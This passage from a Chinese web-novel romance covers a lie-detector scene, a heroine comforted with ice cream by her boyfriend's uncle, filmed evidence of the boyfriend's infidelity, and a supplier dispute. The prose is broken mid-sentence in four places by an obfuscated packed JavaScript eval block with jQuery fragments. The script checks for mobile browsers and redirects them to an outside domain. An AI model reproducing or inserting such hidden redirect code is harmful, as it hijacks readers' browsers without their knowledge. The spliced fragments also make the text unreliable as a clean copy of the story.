霍时雍大概暗中跟佣人示意过,张思映没再返回房间。 不过,她在不在对测谎这件事都没影响。 祝烈义在旁边等了半小时之久,原本就不多的耐心快要见底。 他抬手看了眼腕表,不好惹的面相因为心情欠佳更具有威慑力。 祝烈义抬眸催促霍时雍:“不要再耽误时间了,手处理好了就继续测谎。” 樊蕾忍了又忍,听到这话实在忍不住了:“祝董,您没看见阿延的手都被烫伤了吗?您还真拿他犯人啊,不带这么仗势欺人的!” “刚才要不是你的宝贝外孙女突然问那么一句,中药也不会泼到阿延手上!” 霍时雍拉了把樊蕾的手,呵斥她:“樊蕾!” 樊蕾被吼了一声倒是闭嘴了,只是一脸不服。 祝烈义好笑地看着他们两口子:“合着这也怪上我家鸟鸟了。” 霍时雍代替樊蕾回答:“祝董,樊蕾她不是那个意思,只是当妈的心急了点。” 本是圆场的话,在祝烈义听来却格外刺耳。 他沉着脸反问:“只有霍延有妈?” 霍时雍意识到自己说错了话,正要找补,祝烈义已经咄咄逼人质问上了:“我家鸟鸟的父母,我的女儿女婿怎么没的,你们也失忆忘记了吗?” “还有你,霍延,你的嘴也被烫得说不了话了?” 祝烈义平时都不怒自威,更别提眼下发起火来,被点名的霍延一家直感到不寒而栗。 他们好像被祝烈义赶到了年久失修的悬崖吊桥上。 风吹过来,吊桥发出破旧的嘶鸣,而祝烈义手里还有一把斧子。 他随时可以砍掉维系吊桥的绳子,让他们一家三口坠入深渊。 在祝烈义他们来到房间之前,霍延已经听自己母亲说过他们家跟祝家的联系。 记忆是丢失了,但权衡利弊的能力还在,霍延明白,他眼下再讨厌祝莺来,自家也不能跟祝家作对。 霍延压下受辱的自尊心,硬着头皮回答祝烈义的话:“……没有,测谎可以继续。” 祝烈义看向祝莺来,目光柔和了许多:“鸟鸟,是你接着问,还是姥爷来问?” 祝莺来想法不改:“我问。” “好。”祝烈义无条件尊重外孙女。 祝莺来看着霍延的脸,重复了一遍:“八年前,张思映的舅舅是因为什么服刑坐牢,你还记不记得?” 霍延皱眉:“不是测我是不是真的忘记你了吗?为什么要扯别人?” 祝莺来没解释:“你只需要回答我的问题。” 霍延被祝莺来的态度搞得一股无名火,碍于形势才憋了回去。 他回想了片刻,只隐约记得张思映是有个舅舅,至于祝莺来说的服刑坐牢,一点印象也没有。 “不记得。”霍延回答。 祝莺来看向卡利姆。 卡利姆盯着屏幕上的各项数据,半分钟之后对祝莺来点了点头。 霍延说的是实话。 祝莺来接着问第二个问题:“我和张思映什么时候绝交的?因为什么事情?” 片刻之后,霍延:“不知道。” 祝莺来沉默了一会儿,神色复杂,让人猜不透她在想什么。 霍延以为她还要问跟张思映有关的问题,祝莺来的第三个问题却是:“你出车祸前一天跟谁吃的晚饭?在哪里?” 半个月前的事情,霍延不需要怎么回忆,几乎脱口而出:“跟我父母,还有张思映他们一家人,在香宫。” 话音落下,房间陷入一种诡异的沉默。 祝莺来问卡利姆:“是实话吗?” 卡利姆再次点头:“是的。” 祝莺来看着霍延,唇角扯出一抹讽刺的笑容:“你居然骗我。” 霍延没听懂:“谁骗你了?我说的是实话。” 祝莺来不接话了,转而对祝烈义说:“我要问的问完了,姥爷你继续问吧,我去车上等你。” 祝烈义看出祝莺来心情差,有外人在场不好多问,他只能说:“好。” 祝莺来冷着脸离开了霍延的房间。 回到车里,祝莺来掏出手机翻看霍延车祸前一晚她收到的匿名照片。 照片有十几张,从拍摄角度不难看出都是偷拍的。 上面的内容跟霍延回答的话没有一点出入,二者互相印证着彼此的真实性。 一张一张翻过去,有霍延和张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598365|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思映同框说话的照片,也有他们父母举杯言欢的画面。 照片里的两家人亲近得如同一家人,幸福且和谐。 祝莺来收到的第一时间就怀疑照片是合成的,马上让助理找人鉴定过,可是鉴定结果显示,这些照片并没有合成痕迹。 发给她这些照片的人用的虚拟号码,也无法溯源。 她本打算回国当面问问霍延,这里面估计有什么误会——她不相信霍延会跟张思映搅和在一起。 他们从小一起长大,二十几年的情谊,霍延不可能会触碰她最大的雷区。 直到今天。 她亲口听霍延承认了照片上这顿饭局。 而那一晚他们联系的时候,霍延对她报备的行程明明是在公司加班,吃的工作餐,还发了自拍给她。 霍延刚才对她说的实话,恰恰证明了他之前对她说的是谎言。 这半个月以来霍延的反常行为还能用失忆做借口,可半个月之前呢? 半个月之前她和霍延感情当真一点问题也没有吗? 仿佛有一只手紧紧掐住了祝莺来的脖子,她倍感窒息,没办法再自欺欺人说没有。 叩叩。 两声叩车窗的轻响把祝莺来从负面情绪的漩涡中拽了出来。 祝莺来抬眸看去,车窗外的霍斯也低下头,两人隔着车窗四目相对。 几秒之后,祝莺来降下车窗。 霍斯也比她更快开口。 “祝莺来,你在哭吗?”还难得没叫她公主。 祝莺来避开他的视线,不自在地嘟哝:“……才没有。” 听见自己声音明显带着哭腔,祝莺来懊恼地皱了皱眉。 霍斯也听完轻笑一声:“好,你没有。” 祝莺来正纳闷他今天竟然如此善解人意的时候,霍斯也话锋一转:“是车里下雨了,把我们公主的眼睛都淋湿了。” “……” 祝莺来抹了抹眼泪,被霍斯也这么一打岔,现在连想哭的感觉都没有了。 她没好气地说:“小叔,一定从来没人夸过你是绅士吧。” 霍斯也不答反问:“绅士的标准是?” “绅士不会看见一个女士在哭还要凑上来明知故问。” “公主这是在怪我啊。” 祝莺来偏过头,哼了一声,懒得再搭理他。 霍斯也笑了笑,把手里拿的东西递进车里:“好吧,那这个能作为我的赔礼吗?” 祝莺来被霍斯也的话勾起好奇心,犹豫了一下,还是把头转了过来。 目光落在霍斯也手上的一瞬间,祝莺来愣在了原地。 8. 第 8 章 霍斯也掌心放着一盒冰淇淋。 室外天寒地冻,看不见冷气,但盒子包装结了一层薄薄的冰霜,不难猜到这盒冰淇淋刚从冰箱拿出来没多久。 这盒冰淇淋的价值没昂贵到夸张的地步,让祝莺来愣住的原因是——它竟然出现在霍斯也的手上。 冰淇淋是纳塔拉亚本国的品牌,只在本国销售,在国内买不到,也是祝莺来最爱吃的牌子,尤其是心情不好的时候。 北京家里常年备着这款冰淇淋,方便祝莺来随时能吃到。 这几年因为霍延父母对她态度的转变,她已经不怎么来霍延家了。 她没想过霍延家会准备这款冰淇淋用来招待她。 心情不好的时候看见对自己最有效的“多巴胺补充剂”,祝莺来当然想吃,可是转念想到这是从霍延家冰箱拿出来的,她就一下子没了胃口。 “心领了。”祝莺来的抵触情绪都写在脸上,“我不想吃他们家的东西,你放回去吧。” 霍斯也听完好笑地说:“你以为这是我从霍延家冰箱拿的?” 祝莺来理所当然地说:“那不然呢?” 且不说国内没得卖,霍延家这个别墅区周边配套的商业设施非常一般,连进口超市都没有。 霍斯也把手收了回去,直接打开了后座的车门:“下车。” “下车干嘛?”祝莺来莫名地问。 霍斯也:“带你看看冰淇淋哪来的。” 祝莺来秀眉微蹙,透着拒绝:“我也不想再踏进他们家了。” 霍斯也单手搭在车顶侧梁上,背脊微弯,头探进车里,墨瞳直视祝莺来的眼睛。 他身材高大,从敞开的车门灌进来的冷风被他挡住,祝莺来不再感觉冷。 同样被遮挡的还有光线。 霍斯也站在背光处,身形投下的阴影像一张黑色披风,将祝莺来严严实实笼罩在怀中。 冰天雪地,万物静谧,在这个明暗交织的方寸天地,他们甚至能听见对方的呼吸声。 祝莺来平白无故结巴了一下,人本能往后缩:“干、干嘛?” “冰淇淋不是霍延家的。”霍斯也没有更进一步,也没有后退。 祝莺来眨眨眼,不怎么相信的样子:“那哪来的?总不能是空投吧。” 霍斯也漫不经心问回去:“空投是什么难事吗?” 祝莺来怔了怔。 ……确实不是。 不说霍氏集团,单就霍斯也名下的私人飞机也够开个航展了。 ……不对! “就算你安排私飞去雅瓦纳买了再飞回来,时间也对不上啊。”祝莺来险些被霍斯也绕进去。 霍斯也挺直腰,挑了挑眉:“所以要不要下车?” 一来二回,祝莺来被霍斯也吊足了胃口,这次没半点犹豫:“要下,在哪?” 霍斯也侧身让她下车。 在祝莺来弯腰钻出来的时候,无人发现的角落,霍斯也搭在车顶侧梁上的手换了位置。 宽阔厚实的手背紧贴车顶边缘,为祝莺来挡了可能会磕到她的车顶棱角。 在祝莺来下车后,霍斯也的手自然地收回去,顺便带上了车门。 “跟我来。”霍斯也只回答了祝莺来这么一句。 祝莺来一头雾水跟在他身边。 他们一行人的车交错停在霍延家的前院,霍斯也带着祝莺来走了两个车位,在自己的那辆逐影的后备箱前面停下。 霍斯也按了下后备盖按钮,尾门自动升起。 跑车后备箱空间不大,一个车载冰箱就占了一半的位置。 霍斯也上手打开冰箱的门。 整个冰箱放的全是他手里的那款冰淇淋,每种口味都有,按爽死强迫症的标准摆放得整整齐齐。 祝莺来惊呆了。 她缓了半分钟才开口,诧异地问霍斯也:“小叔,我记得你不爱吃甜食吧?” 其实不止是甜食,沾点甜的霍斯也都不爱,包括水果,他从小就这样。 稍微了解他的人都知道他这个口味偏好。 这么不喜甜的人会在私车后备箱放一冰箱的冰淇淋?简直匪夷所思。 霍斯也不以为然地说:“口味变了。” 祝莺来半信半疑:“但你从小就不爱吃欸……” “可能我变异了。”霍斯也掀了掀眼皮,声音懒懒的,混不吝的模样,“恭喜你,见到外星人了。” 祝莺来:“……” 她就多余深究。 “现在相信不是从霍延家里拿的了吧。”霍斯也再次递出手里的冰淇淋,“能接受我的赔礼了吗?公主。” 祝莺来没有再拒绝的理由,她接过霍斯也手里的冰淇淋:“谢谢。” 短暂的一秒,她的指尖碰到了霍斯也的手心。 跟冰淇淋一样凉。 祝莺来迟钝地意识到一件事——霍斯也拿着冻手的冰淇淋在零下的室外待了好几分钟了。 她虽然对霍斯也有些看法,不过眼下怎么看对方都是一番好意……祝莺来不受控制地感到内疚。 “那个……”祝莺来有点扭捏地转移话题,“外面挺冷的,你赶紧回去吧。” 霍斯也“嗯”了一声,往副驾驶走,顺势拉开了车门:“上车吃。” 见他会错意,祝莺来连忙解释:“不用了,我回自己车上,你……” 话没说完被霍斯也轻声打断:“快过来,暖气都要跑完了。” 没有消散的内疚刚好抵消了霍斯也话里的强势。 等祝莺来回过神,她已经坐在霍斯也的车里了。 还是昨天的位置,还是四面八方吹过来的适宜暖风。 霍斯也从扶手箱抽了几张纸巾,叠在一起,厚度堪比一张毛巾。 他递给祝莺来,纸巾边缘碰了碰冰淇淋,示意她:“垫着吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598366|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝莺来惊讶于霍斯也的细心,怔怔接过,放在冰淇淋盒子下面。 纸巾隔绝了冰淇淋的凉意。 “谢谢小叔,以前都没看出来,原来你——”话到嘴边,祝莺来意识到不合时宜又咽了回去。 生硬的停顿没能逃过霍斯也的耳朵:“我什么?” 祝莺来低头拆包装:“……你挺细心的。” 只有祝莺来自己知道,她刚刚差点脱口而出的话不是这句,而是:原来你比霍延细心多了。 她自己也觉得奇怪,为什么要拿霍斯也和霍延比。 幸好没说出口,不然霍斯也肯定觉得她莫名其妙,搞不好还会生气。 谁愿意突然被人拿来跟宿敌比较。 而且这么一比较,她自己也挺扫兴的。 就这么一件给冰淇淋垫纸巾的小事,失忆之前的霍延也没为她做过。 在外人眼里霍延对她简直宠上天,她要星星要月亮,霍延都给她摘。 她不否认霍延对她的宠,但更不能否认的是,霍延并不是一个细心的人。 这些年霍延对她的贴心可以说是她手把手教出来的。 教了的就会,不教就不会。 好友不止一次打趣她,如果有一天她和霍延分开了,她就是前人栽树,霍延的下一任就是后人乘凉。 她每次都信誓旦旦地回答:“我栽的树就该我乘凉,不可能便宜别人。” 那时候觉得自己的爱情坚不可摧,可以抵挡世间所有的事与愿违。 如今这些自信和底气,在唯独被霍延遗忘的现实面前,像一记耳光扇在她的脸上。 祝莺来暗暗走神,思绪又飘了很远,这时听见霍斯也说:“那你以后仔细看看。” 过了几秒,祝莺来回过神,没能接上霍斯也的频道,“啊”了一声:“看什么?” 霍斯也沉默了。 之后淡淡地抛出一句:“冰淇淋再不吃化了。” 祝莺来“噢”了一声,捏了捏外包装,还邦邦硬,哪里有要融化的痕迹。 不过祝莺来也没反驳霍斯也就是了,全当他在释放聊天结束的信号。 说起来他们这种半生不熟的关系,连续两天能在一个空间独处也是很难得了。 祝莺来挖了一口冰淇淋送进嘴里。 入口即化,口感绵密似雪,香草籽带着轻微颗粒感,多巴胺快速分泌,她满足地眯了眯眼,心情有阴转晴的迹象。 心情好转,祝莺来表达欲都上来了,主动跟霍斯也搭话:“果然是香草味的最好吃,小叔你也爱吃这个口味吗?很有品味嘛。” “我不爱吃。”霍斯也回答。 祝莺来点点头,也不在意:“那挺巧的,你随手拿的口味正好是我最爱吃的。” 霍斯也意味深长地看了祝莺来一眼,轻“嗯”一声:“也是我心上人爱吃的口味。” 祝莺来一口冰淇淋差点喂进鼻孔里。 9. 第 9 章 她瞪大眼睛,万万没想到,这种随口闲聊居然能探听到霍斯也的八卦! 没人可以拒绝八卦。 八卦还能一下子拉近人和人之间的距离。 祝莺来兴致勃勃地追问:“你心上人是谁啊?确定关系了吗?” 霍斯也开始惜字如金:“没有。” “表白了吗?” “没有。” 祝莺来顿了顿:“她不知道你喜欢她?” 霍斯也“嗯”了一声。 祝莺来词穷了好一会儿,难以理解地感叹了一句:“不是……你顶着这张脸搞暗恋啊?” 随后想到一种合理解释:“难道你是性单恋人格?” 霍斯也淡声否定:“不是。” 不是性单恋还搞暗恋,奔三的人了,祝莺来都替他着急! 她恨铁不成钢地劝:“那你暗恋个什么劲儿,表白啊,展开追求啊,主动争取啊!” 霍斯也抬眸看着她,忽然问:“哪怕对方不是单身?” “?” 祝莺来大脑宕机了片刻,恢复运转后试着问:“你是暗恋到一半她脱单了,还是一开始她就不是单身啊?” 霍斯也的手搭在方向盘上,修长的指节慵懒散漫地轻敲着。 他好像在说一件跟自己无关的事情:“我发现自己喜欢她,发现她喜欢别人,这两件事是同一个瞬间发生的。” 祝莺来感觉手里的冰淇淋都不香了。 “有点同情你了,小叔。”她发自内心地说。 然后想到霍斯也是个母单的事实,有个一闪而过的念头让她感觉既荒谬又合理。 她忍不住问:“所以你这些年一次恋爱不谈都是因为在暗恋搞纯爱……吗?” 霍斯也没回答,反过来问她:“什么叫纯爱?” “就你这样,默默喜欢始终如一不求回报……” “那我不是。”霍斯也勾了勾唇角,“我什么都求,尤其是盼她分手。” “……” 祝莺来不知道说什么好了。 但是仔细想想这样才合理吧。 毕竟霍斯也这种性格,根本不可能是电视剧里那种会隐藏爱意祝福女主跟男主厮守的深情男二。 他不又争又抢当疯批男小三就算善心大发了。 霍斯也主动换了话题:“看来你心情有所好转,都有空过问我的闲事了。” “这可不是一般的闲事。”祝莺来八卦归八卦,原则还是有的,“放心吧小叔,我会替你保密的。” “保什么密?”霍斯也轻呵一声,“你连我心上人叫什么名字都不知道。” 不提还好,一提祝莺来又想打听了:“所以她叫什么名字?” 霍斯也盯着祝莺来的脸不说话。 时间流速似乎在这一刻被设置了慢动作,祝莺来被他看得不太自在。 这时,霍斯也忽然伸手过来,快到祝莺来眼前的时候往上拐——他拉下了副驾的遮阳板。 “照照镜子。”霍斯也没头没尾冒出这么一句。 “为什么?”祝莺来莫名地问,问完抬手摸自己的脸,“我脸上有东西?” 霍斯也收回手:“照一下你就知道了。” 祝莺来忙不迭拉开化妆镜,360度打量了一遍自己的脸,除了眼睛有点红,一切如常。 “没东西啊。”祝莺来看着化妆镜,不解地问,“你是要我照镜子看什么?” 霍斯也似笑非笑地声音从左手边传来:“我也没说你脸上沾东西了啊。” “那你让我照镜子。”祝莺来把遮阳板拉回去。 霍斯也语气微妙:“你先问我的。” 短暂的沉默。 祝莺来了然地“啊”了一声,嘀嘀咕咕控诉霍斯也:“绕这么一大圈原来就是为了岔开话题啊,你不想回答不回答就好了,我又不会一直打听你心上人的名字。” 霍斯也:“……” 他不说话,祝莺来也不理他了,低头吃冰淇淋。 吃着吃着她想起这冰淇淋是霍斯也给的,吃人嘴短,祝莺来大度地补充道:“算了,看在冰淇淋的份上,你刚才戏弄我,我就不跟你计较了。” 霍斯也被她气笑,薄唇吐出三个字:“笨女人。” “?”祝莺来瞪大眼睛,“你还骂我?” “我说的歌名。”霍斯也煞有其事地唤醒语音系统,“siri,给公主放一首《笨女人》。” 祝莺来用眼风瞥他:“有这歌吗?” “怎么没有。”霍斯也伸出手在车载屏幕上点了点,“看,还不止一首,姓胡的唱的,还有姓刘的、姓丁的……” “停。”祝莺来打断他,“谁唱的公主都不想听。” 霍斯也:“那公主想听什么?” “不要说话。”顿了顿,祝莺来以牙还牙强调,“我也说的歌名。” “……” 霍斯也轻笑出声:“公主真够记仇的。” 祝莺来未置可否:“不是小叔提醒我睚眦必报的吗?” 霍斯也没应声,祝莺来全当他默认。 气氛一下子静下来。 话题一结束,他们之间就什么话可说了。 独处空间,半生不熟的关系,沉默,三个buff叠在一起,让祝莺来如坐针毡。 她也没一直坐在霍斯也车里的必要,祝莺来主动提出要下车:“那个……” “睚眦必报之后你怎么打算的?” 他们两个几乎同时开口。 话音落,霍斯也收起自己的话头,问她:“你要说什么?” 霍斯也似乎还有话问她的样子,祝莺来暂时把话咽了回去:“没事,你说的打算指什么?” “你跟霍延。”霍斯也开门见山地说,“他看起来是实打实把你忘了,还跟张家的那个牵扯不清,你后面什么打算?” 一句话问到祝莺来现在最烦的事情上。 她本能生出回避,嘟哝道:“小叔什么时候连这种小事都要管了……” 霍斯也开始给自己脸上贴金:“我好歹是你姥爷请来的测谎见证人。” 真够冠冕堂皇的,还把她姥爷搬出来了。 祝莺来无语地反问:“所以你这个见证人现在为什么不在里面履行职责,反而在这里跟我闲聊呢?” 霍斯也朝她伸出手,掀了掀眼皮:“冰淇淋还我。” “……” 捧着吃了一大半冰淇淋的祝莺来瞬间哑火。 得。 现在有理也没理了。 “茨威格诚不欺我。”祝莺来意有所指进行一些名人名言吟唱,“所有命运赠送的礼物,早已在暗中标好了价格。” 霍斯也偏过头问她:“那你有没有听过另外一句名人名言?” 祝莺来:“哪句?” “让你流泪的男人不能要。” 祝莺来微怔。 心里那根要断不断的琴弦好像被人轻轻拨了一下,发出刺耳尖锐的颤音,透着苟延残喘的气息。 祝莺来垂眸用勺子戳盒子里的冰淇淋,生硬地逃避霍斯也话里的重点,没话找话说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598367|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“没听过,哪个名人说的?” 霍斯也竟然没让她的废话掉地上,故作正经地回答:“霍威格说的。” 祝莺来刚开始没反应过来,还想追问霍威格是谁,下一秒突然顿悟,整个人:“……” 霍斯也自己打了个岔,没再对一心逃避的祝莺来步步紧逼,关于霍延的话题到此为止。 这时,别墅的门打开了,祝烈义带来的保镖先走出来,站在大门的两侧。 看来测谎已经结束了。 霍斯也开门下车前最后跟祝莺来说了一句话:“你装傻没所谓,别真傻就行,否则你这个公主受委屈,你家老国王也会流泪的。” 测谎结果没什么悬念和反转。 霍延是真的失忆了。 这天之后,祝莺来再也没去过霍延家,跟霍延也处于一种断联的状态。 两个人的关系就这么僵着。 祝莺来也不想待在北京,第二天跟祝烈义回了雅瓦纳,工作日忙集团的业务,周末去私人海岛度假,这一待就待到了月底。 算算日子,霍延的石膏应该已经拆了,车祸带来的创伤只剩对她的遗忘。 当然了,对现在的霍延来说,这个根本算不上创伤就是了。 祝莺来觉得自己最近的状态有点像应激的蜗牛。 整日藏在自己这一方天地里,不愿意出去面对现实。 她不喜欢自己这样,可又没有心力去改变。 可能连老天爷都看不下去她这副活人微死的状态了,四月初,一个平平无奇的周五,好友的一个视频通话把祝莺来从蜗牛壳里拽了出来。 “鸟鸟,忙不忙!有件事我必须马上让你知道!” 好友游可嘉身上还穿着今天出通告的礼服,浓妆没卸,漂亮得摄人心魄,身后有化妆师在给她拆头发,她本人正急吼吼地跟祝莺来说话。 祝莺来笑着打趣她:“大明星都说都必须马上让我知道了,我再忙也不忙啊。” “先预警一下,不是好事,我感觉你知道后就笑不出来了……但身为好闺闺,我!必须!让你!知道!” 游可嘉越说情绪越激动,不小心扯到头发,疼得她“嘶”了一声。 化妆师还是刚入行的小助理,第一次为顶流女明星服务,本来就紧张,现在一出错更是感觉天都塌了。 小助理连忙在游可嘉身后鞠躬say sorry。 “没事,别紧张,是我自己脑袋在动,不怪你。”游可嘉转头安抚小助理,并说,“我这里有点事,晚点再拆,你先去玩会儿手机。” 小助理受宠若惊:“谢谢可嘉姐……” 祝莺来等游可嘉重新面对视频镜头才开口问:“嘉宝,你要说的是什么事?” 游可嘉欲言又止,想了想,转而道:“我另外一个手机也跟我助理在通视频,你先自己亲眼看看吧……” 祝莺来不明所以,但还是:“好。” 游可嘉点了镜头切换,对准另外一个手机的屏幕。 祝莺来听到游可嘉跟那个视频里的助理说:“小北,你再走过去偷偷拍一下他们。” “好。”小北回答的声音很小,生怕被人发现似的。 差不多过了一分多钟,通过小北和游可嘉的视频通话,祝莺来在画面里看见了霍延和张思映。 小北身处的地方祝莺来并不陌生——国贸的一家高奢珠宝店。 她和霍延80%的情侣对戒都是在这家店里买的。 同样的地方,挽着霍延臂弯,跟他举止亲密挑选对戒的人却不再是她。 10. 第 10 章 视频里,接待霍延和张思映的SA也是祝莺来熟悉的面孔。 SA有自己的职业素养,面对熟悉客户的明摆着的分手or出轨八卦也镇定自若,该怎么接待就怎么接待。 祝莺来面对这个头上冒绿光的画面也很镇定。 但不是因为职业素养,而是连日来悬着的心终于死了,整个人陷入一种空洞麻木的状态。 戴着白手套的SA从玻璃展柜里拿出一对钻戒,为霍延和张思映介绍:“二位看看,这是我们当季新款,用来做订婚戒指是非常合适的……” 订婚戒指。 祝莺来满脑子都是这四个字,后面SA说了什么她已经没精力去听了,也没有听的必要。 小北不敢一直对着他们拍,在霍延的目光投向自己这边时,她机灵地收起手机往旁边走,佯装是挑选商品的顾客。 同时压低声音询问游可嘉:“可嘉姐,还要继续拍吗?” “录屏没?” “录了,照片也有。” 游可嘉放心了,至于照片视频的清晰度她问都没问。 小北在拍照这一块是专业的。 她读书时期是追星姐,追自担线下拍的废片都能被她修成出圈神图,何况眼下一个出轨现场的偷拍。 游可嘉在视频里问祝莺来:“还拍吗?鸟鸟。” “不用拍了。”祝莺来淡声拒绝。 游可嘉“嗯”了一声,对小北说:“你的使命结束了,回来吧。” 小北:“好的姐,那视频我先挂了。” “好。” 那边视频挂了,游可嘉忿忿不平地对祝莺来说:“我现在就把视频照片传给你,你拿着实锤去找霍延对质,这死渣男,我看他不是失忆,是失心疯!他怎么能这么对你啊,气死我了!” 跟游可嘉比起来,祝莺来淡定得像局外人:“好,你发我。” “宝,你是不是气疯了……”游可嘉眼巴巴望着她,“你哭一哭或者骂几句,别憋着,我真怕你憋坏了。” “我说我没再憋,你信吗?”祝莺来嘴角牵出一抹自嘲的笑,“自从测谎那天我知道他失忆前就在骗我之后,我就预想过这一天了,只是没想到来得这么快。” “鸟鸟……” 游可嘉都不知道怎么安慰她了,只能骂霍延:“霍延怎么还不恢复记忆啊,赶紧来看看自己这一个月都干了什么好事!” “我之前也这么想。”祝莺来听完淡声说道。 “之前?”游可嘉奇怪地问,“你现在不这么想了吗?” 祝莺来看着游可嘉发过来的视频和照片,顿生出一种熟悉感。 换做以前,她怎么都想不到,一个月之内会看到两次霍延跟张思映同框的画面。 在她的认知中,以及对霍延的无条件信任里,他是个会跟自己同仇敌忾的存在。 爱就该划分出阵营。 比如霍延跟霍斯也不对付,就算她和霍斯也从没有过直接冲突,她也没跟对方去经营或者维系一段不错的社交关系。 因为她觉得那样是对霍延的背叛。 爱一个人如果做不到痛对方所痛,喜对方所喜,那算什么爱? 祝莺来退出聊天框,重新看向视频镜头,开口说:“是不期盼了。” “事到如今,霍延出车祸失忆哪里是所有问题的根源,是问题早就有了,这场车祸充其量算个导火索。” “如果导火索的尽头没有易燃物,光点燃导火索也不会发生爆炸,不是吗?” 这些本来是游可嘉想跟祝莺来说但没狠下心说的话。 她很清楚,一个人从感性中抽离,理智客观的看待问题,好处是清醒地及时止损,可这也往往也夹带着主动跟侥幸割席的副作用——逼自己直面残酷的现实。 游可嘉身为祝莺来的好友,一个局外人,连她都抛不开这份侥幸,还寄希望于霍延恢复记忆跟祝莺来回到正轨,何况祝莺来这个当事人? 将心比心,好友最近状态已经很差了,晚一点清醒,颓靡一阵子、自欺欺人一阵子,又有什么不可以呢。 可是游可嘉没想到,祝莺来竟然自己先狠了这个心。 游可嘉叹了口气:“其实你再消沉一段时间,我也不会觉得你是恋爱脑的。” “我知道。”祝莺来撑着精神对好友笑了笑,“是我自己消沉够了,问题总要去解决的。” 说到这,祝莺来脑中又响起霍斯也测谎那天对她说的最后一句话——“你装傻没所谓,别真傻就行,否则你这个公主受委屈,你家老国王也会流泪的。” 祝莺来看着视频对面的好友,补充了一句:“而且我也不想你们因为我受委屈感到难过。” “我怎么能跟伤害我的人站在同一边去背刺爱我的人。” 游可嘉听完秒变蛋花眼,仰头憋眼泪,又哭又笑的:“好烦啊你,说这么煽情的话,我美瞳都滑片了!” 祝莺来失笑:“快卸妆吧大明星,我继续上班了。” “等一下,最后一句!”游可嘉追问,“你什么时候回北京?我月底又要进组了,你不回来我就飞雅瓦纳找你玩几天,好想你噢我的鸟鸟宝贝。” 祝莺来:“下周二,北京有行业展会,我工作结束联系你?” “好噢~”游可嘉对她吹了个飞吻,模仿霸总说话逗她开心,“bb,Promise me,接住我的吻,忘了那个人。” 祝莺来配合地伸手接住,双手叠放在胸口,偏头,回了她一个最近很火的金宣虎眨眼笑。 游可嘉捂住心口,被祝莺来甜得滋哇乱叫。 两个人又扯了几分钟的闲嗑才挂断电话。 托游可嘉的福,祝莺来的糟糕心情有所好转。 她给助理发了个微信:[蔡蔡,你去问问运销部,这个月给恒锐创材的石墨原料发货了没] 蔡蔡回复:[好,我这就问] 过了几分钟,蔡蔡发来消息:[问到了,祝总,情况有点不寻常,我来办公室跟您汇报] 祝莺来:[好] 很快,办公室的门被敲响了。 “进来。” 蔡蔡推门走进来,把刚从运销部拿到的延迟发货单递给祝莺来。 “祝总,运销部的人说恒锐那边周一就主动联系了他们,以原料仓库做清点为理由推迟发货。” “这种事以前从没有过,偶尔我们集团运销部调度不开,推迟两三天给恒锐发当月的货,他们就催得不行了。” 祝莺来打量着手里的延迟发货单,若有所思道:“再大规模的清点也不至于清点一个月。” 蔡蔡:“对啊,清点这么久,成本未免太高了,运销部那边也觉得奇怪,不过……”说到这,蔡蔡面露犹豫,不知道该不该继续往下讲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598368|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝莺来瞥她一眼,不用她说也猜到了:“不过因为我和霍延的私交,运销部也不敢说什么。” 蔡蔡讪笑:“哎呀,祝总您看透别说破嘛。” “少贫。”祝莺来放下单子,正色吩咐蔡蔡,“去跟运销部说,以后恒锐的业务都按流程办。” 蔡蔡愣了几秒,不太能摸准祝莺来的意思,试着问:“祝总,以后……是从什么时候开始啊?” “现在,此刻,这一秒。”祝莺来淡声道,“我说得够明白了吗?” “明白。”蔡蔡抿抿唇,“如果按流程办,恒锐这次推迟发货长达一个月,我们集团是要向他们索要材料囤积费的,您看……” 祝莺来“嗯”了一声,态度没有变化:“该怎么办就怎么办。” “恒锐在原材料这一环断整整一个月,他们生产线肯定没办法保持之前的供应量,如果到了月底,客户那边恒锐还是足量交付的话……” 蔡蔡自然而然接上祝莺来的话:“说明恒锐找了其他的原材料供应商!” 祝莺来点了点头。 